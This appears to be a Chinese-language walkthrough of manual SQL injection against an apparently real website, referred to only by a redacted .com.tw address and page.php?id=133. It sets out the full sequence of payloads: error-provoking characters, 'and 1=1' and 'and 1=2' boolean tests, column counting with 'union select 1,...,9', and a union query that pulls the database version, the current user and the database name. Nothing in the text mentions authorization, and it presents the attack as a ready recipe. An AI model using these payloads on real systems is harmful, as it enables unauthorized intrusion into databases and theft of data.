#语法错误探测在网址后面添加?'?/?%?!?等一些会引起查询错误的标点符号目的就是造成后台运行错误从而拿到数据库的报错信息在报错信息中,获取网站的数据库版本、绝对路径等相关信息

?

在网址添加单引号，发现网站回复为空

说明：网站屏蔽了后台错误回显

这一点安全防护做的还可以

?

3、?注入sql测试

在id=133的页面，注入语句 and 1=2

id=133是正常查询，注入一个永远为false 的bool值 and 1=2

页面返回为空

在id=133的页面，注入永为true的bool语句 and 1=1

发现页面返回恢复正常

简单分析：注入1=2时，页面无返回值，注入1=1，返回值恢复正常。

说明我们注入的sql语句，被成功执行了。

?

漏洞暴露出来了！！！

?

4、获取查询长度

成功判断地址可以注入之后

我们需要获取page.php?id=133调用的select语句内的字段数量?

获取了字段数量我们才可以在后面进行union select我们自己的查询

union select 1,2,3,4,5...穷举法进行长度测试

当union的长度与page.php长度不一致时，自然会执行错误，自然就不会有返回值

?

当执行成功时，说明我们的注入长度猜测成功了

union select 1,2,3,4,5,6,7,8,9 需要9个字段进行union拼接

并且，我们还发现3 和 4是我们的两个注入点

?

?

5、获取数据库相关信息

#拼接注入连接http://www.xxx.com.tw/page.php?id=133?union?select?1,2,version(),current_user(),5,6,7,8,9version()       #获取数据库版本current_user()  #获取当前登录用户database()      #获取当前数据库...#通过将一些获取数据库信息的函数注入到查询语句中，从而获取目标数据库的信息。